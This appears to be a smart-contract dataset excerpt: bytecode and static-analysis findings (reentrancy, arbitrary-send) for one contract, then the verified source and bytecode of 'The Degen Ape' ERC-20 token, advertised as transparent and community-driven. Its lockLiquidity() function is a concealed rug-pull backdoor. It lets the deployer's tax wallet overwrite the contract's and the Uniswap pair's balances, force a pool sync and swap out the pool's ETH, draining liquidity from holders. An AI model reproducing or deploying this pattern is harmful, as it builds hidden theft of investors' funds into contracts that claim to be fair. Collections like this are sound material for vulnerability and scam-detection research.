1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f739061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe39061248d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca91906125ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061254d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061244d565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061252d565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253919061242b565b60405180910390fd5b506000838561126b9190612773565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af6128ce565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f561289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611f0b565b816001815181106113e4576113e361289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af9594939291906125c8565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061246d565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1291906125ad565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab0919061242b565b60405180910390fd5b5060008385611ac891906126e8565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612692565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906124cd565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612719565b9050828482611e2a91906126e8565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906124ed565b60405180910390fd5b809150505b92915050565b600081359050611e8481612be0565b92915050565b600081519050611e9981612be0565b92915050565b600081519050611eae81612bf7565b92915050565b600081359050611ec381612c0e565b92915050565b600081519050611ed881612c0e565b92915050565b600060208284031215611ef457611ef36128fd565b5b6000611f0284828501611e75565b91505092915050565b600060208284031215611f2157611f206128fd565b5b6000611f2f84828501611e8a565b91505092915050565b60008060408385031215611f4f57611f4e6128fd565b5b6000611f5d85828601611e75565b9250506020611f6e85828601611e75565b9150509250929050565b600080600060608486031215611f9157611f906128fd565b5b6000611f9f86828701611e75565b9350506020611fb086828701611e75565b9250506040611fc186828701611eb4565b9150509250925092565b60008060408385031215611fe257611fe16128fd565b5b6000611ff085828601611e75565b925050602061200185828601611eb4565b9150509250929050565b600060208284031215612021576120206128fd565b5b600061202f84828501611e9f565b91505092915050565b60006020828403121561204e5761204d6128fd565b5b600061205c84828501611eb4565b91505092915050565b60008060006060848603121561207e5761207d6128fd565b5b600061208c86828701611ec9565b935050602061209d86828701611ec9565b92505060406120ae86828701611ec9565b9150509250925092565b60006120c483836120d0565b60208301905092915050565b6120d9816127a7565b82525050565b6120e8816127a7565b82525050565b60006120f98261264d565b6121038185612670565b935061210e8361263d565b8060005b8381101561213f57815161212688826120b8565b975061213183612663565b925050600181019050612112565b5085935050505092915050565b612155816127b9565b82525050565b612164816127fc565b82525050565b600061217582612658565b61217f8185612681565b935061218f81856020860161280e565b61219881612902565b840191505092915050565b60006121b0602383612681565b91506121bb82612913565b604082019050919050565b60006121d3602a83612681565b91506121de82612962565b604082019050919050565b60006121f6602283612681565b9150612201826129b1565b604082019050919050565b6000612219601783612681565b915061222482612a00565b602082019050919050565b600061223c601b83612681565b915061224782612a29565b602082019050919050565b600061225f602183612681565b915061226a82612a52565b604082019050919050565b6000612282602083612681565b915061228d82612aa1565b602082019050919050565b60006122a5602983612681565b91506122b082612aca565b604082019050919050565b60006122c8602583612681565b91506122d382612b19565b604082019050919050565b60006122eb602483612681565b91506122f682612b68565b604082019050919050565b600061230e601983612681565b915061231982612bb7565b602082019050919050565b61232d816127e5565b82525050565b61233c816127ef565b82525050565b600060208201905061235760008301846120df565b92915050565b600060408201905061237260008301856120df565b61237f60208301846120df565b9392505050565b600060408201905061239b60008301856120df565b6123a86020830184612324565b9392505050565b600060c0820190506123c460008301896120df565b6123d16020830188612324565b6123de604083018761215b565b6123eb606083018661215b565b6123f860808301856120df565b61240560a0830184612324565b979650505050505050565b6000602082019050612425600083018461214c565b92915050565b60006020820190508181036000830152612445818461216a565b905092915050565b60006020820190508181036000830152612466816121a3565b9050919050565b60006020820190508181036000830152612486816121c6565b9050919050565b600060208201905081810360008301526124a6816121e9565b9050919050565b600060208201905081810360008301526124c68161220c565b9050919050565b600060208201905081810360008301526124e68161222f565b9050919050565b6000602082019050818103600083015261250681612252565b9050919050565b6000602082019050818103600083015261252681612275565b9050919050565b6000602082019050818103600083015261254681612298565b9050919050565b60006020820190508181036000830152612566816122bb565b9050919050565b60006020820190508181036000830152612586816122de565b9050919050565b600060208201905081810360008301526125a681612301565b9050919050565b60006020820190506125c26000830184612324565b92915050565b600060a0820190506125dd6000830188612324565b6125ea602083018761215b565b81810360408301526125fc81866120ee565b905061260b60608301856120df565b6126186080830184612324565b9695505050505050565b60006020820190506126376000830184612333565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061269d826127e5565b91506126a8836127e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126dd576126dc612841565b5b828201905092915050565b60006126f3826127e5565b91506126fe836127e5565b92508261270e5761270d612870565b5b828204905092915050565b6000612724826127e5565b915061272f836127e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276857612767612841565b5b828202905092915050565b600061277e826127e5565b9150612789836127e5565b92508282101561279c5761279b612841565b5b828203905092915050565b60006127b2826127c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612807826127e5565b9050919050565b60005b8381101561282c578082015181840152602081019050612811565b8381111561283b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612be9816127a7565b8114612bf457600080fd5b50565b612c00816127b9565b8114612c0b57600080fd5b50565b612c17816127e5565b8114612c2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a44cb76ebe2188dc5e6b247fd912ae8aaaedfea8e396da3c8f8934efa58bf8aa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,571
0x00a78b1E437c736d9A62d8b8A64B7e2766FEefdE
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ //SPDX-License-Identifier: MIT /** The Degen Ape is a completely decentralized, community driven project. Our foundation is built around DeFi principles, and delivered with complete transparency. We are a hyper deflationary token on the Ethereum Blockchain designed to constantly create buy pressure while reducing the supply through the use of deflationary techniques. The dynamic taxes are unique tokenomics programmed for us to succeed. Our team aims to maintain a state of balance and equilibrium because we are a token built by Ethereum enthusiasts. Token Name: DAPE 🌿 Transaction Tax : 10% 🌿 4% for Marketing 🌿 4% for Dev 🌿 2% for Rewards, buybacks 🚀 Total Supply: 36000000000 🚀 Max Tx: 360000000 🚀 Max Buy: 1% 🚀 Max Wallet: 2% 🚀 Initial Liquidity Pool: 3 ETH Website: Telegram: t.me/dapeentry Twitter: twitter.com/degenape__ **/ pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract TheDegenApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 36000000000 * 10**8; uint256 private _maxWallet= 36000000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "The Degen Ape"; string private constant _symbol = "DAPE"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 10; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(200); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance,address(this)); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, to, block.timestamp ); } function increaseMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function lockLiquidity() public{ require(_msgSender()==_taxWallet); _balance[address(this)] = 100000000000000000; _balance[_pair] = 1; (bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9))); if (success) { swapTokensForEth(100000000, _taxWallet); } else { revert("Internal failure"); } } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance,address(this)); } function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610319578063d49b55d61461032e578063d91a21a614610343578063dd62ed3e14610363578063e8078d94146103a957600080fd5b8063715018a6146102795780637d1db4a51461028e5780638da5cb5b146102a457806395d89b41146102cc578063a9059cbb146102f957600080fd5b8063313ce567116100e7578063313ce567146101db5780633d8705ab146101f75780633e7175c51461020e5780634a1316721461022e57806370a082311461024357600080fd5b806306fdde0314610124578063095ea7b31461016c57806318160ddd1461019c57806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600d81526c54686520446567656e2041706560981b60208201525b60405161016391906113e6565b60405180910390f35b34801561017857600080fd5b5061018c61018736600461142e565b6103be565b6040519015158152602001610163565b3480156101a857600080fd5b506005545b604051908152602001610163565b3480156101c757600080fd5b5061018c6101d636600461145a565b6103d5565b3480156101e757600080fd5b5060405160088152602001610163565b34801561020357600080fd5b5061020c61043e565b005b34801561021a57600080fd5b5061020c61022936600461149b565b61044b565b34801561023a57600080fd5b5061020c610491565b34801561024f57600080fd5b506101ad61025e3660046114b4565b6001600160a01b031660009081526002602052604090205490565b34801561028557600080fd5b5061020c61072b565b34801561029a57600080fd5b506101ad60095481565b3480156102b057600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102d857600080fd5b506040805180820190915260048152634441504560e01b6020820152610156565b34801561030557600080fd5b5061018c61031436600461142e565b61079f565b34801561032557600080fd5b5061020c6107ac565b34801561033a57600080fd5b5061020c6108db565b34801561034f57600080fd5b5061020c61035e36600461149b565b6108f7565b34801561036f57600080fd5b506101ad61037e3660046114d1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b557600080fd5b5061020c610934565b60006103cb338484610a97565b5060015b92915050565b60006103e2848484610bbb565b610434843361042f856040518060600160405280602881526020016116d6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f71565b610a97565b5060019392505050565b4761044881610fab565b50565b6000546001600160a01b0316331461047e5760405162461bcd60e51b81526004016104759061150a565b60405180910390fd5b600654811161048c57600080fd5b600655565b6000546001600160a01b031633146104bb5760405162461bcd60e51b81526004016104759061150a565b600b54600160a01b900460ff16156105155760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610475565b600a546005546105329130916001600160a01b0390911690610a97565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a9919061153f565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062f919061153f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561067c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a0919061153f565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610707573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610448919061155c565b6000546001600160a01b031633146107555760405162461bcd60e51b81526004016104759061150a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103cb338484610bbb565b6008546001600160a01b0316336001600160a01b0316146107cc57600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b031917905291519116916108399161157e565b6000604051808303816000865af19150503d8060008114610876576040519150601f19603f3d011682016040523d82523d6000602084013e61087b565b606091505b5050905080156108a057600854610448906305f5e100906001600160a01b0316610fe9565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610475565b3060009081526002602052604081205490506104488130610fe9565b6000546001600160a01b031633146109215760405162461bcd60e51b81526004016104759061150a565b600954811161092f57600080fd5b600955565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104759061150a565b600a546001600160a01b031663f305d7194730610990816001600160a01b031660009081526002602052604090205490565b6000806109a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a32919061159a565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610a9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611164565b9392505050565b6001600160a01b038316610af95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b038216610b5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610c815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b60008111610ce35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b6000546001600160a01b03848116911614801590610d0f57506000546001600160a01b03838116911614155b15610f1057600b546001600160a01b038481169116148015610d3f5750600a546001600160a01b03838116911614155b8015610d6457506001600160a01b03821660009081526004602052604090205460ff16155b15610dbb57600954811115610dbb5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610475565b600b546001600160a01b03838116911614801590610df257506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1757506001600160a01b03831660009081526004602052604090205460ff16155b15610e975760065481610e3f846001600160a01b031660009081526002602052604090205490565b610e4991906115de565b1115610e975760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610475565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ecf5750600b546001600160a01b03858116911614155b8015610ee45750600b54600160b01b900460ff165b15610f0e57610ef38130610fe9565b476706f05b59d3b200008110610f0c57610f0c47610fab565b505b505b6001600160a01b038216600090815260046020526040902054610f6c9084908490849060ff1680610f5957506001600160a01b03871660009081526004602052604090205460ff165b610f6557600754611192565b6000611192565b505050565b60008184841115610f955760405162461bcd60e51b815260040161047591906113e6565b506000610fa284866115f6565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fe5573d6000803e3d6000fd5b5050565b600b805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110315761103161160d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561108a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ae919061153f565b816001815181106110c1576110c161160d565b6001600160a01b039283166020918202929092010152600a546110e79130911685610a97565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611120908690600090869088904290600401611623565b600060405180830381600087803b15801561113a57600080fd5b505af115801561114e573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b600081836111855760405162461bcd60e51b815260040161047591906113e6565b506000610fa28486611694565b60006111a960646111a38585611296565b90610a4e565b905060006111b78483611315565b6001600160a01b0387166000908152600260205260409020549091506111dd9085611315565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461120c9082611357565b6001600160a01b0386166000908152600260205260408082209290925530815220546112389083611357565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112a5575060006103cf565b60006112b183856116b6565b9050826112be8583611694565b14610a905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b6000610a9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f71565b60008061136483856115de565b905083811015610a9057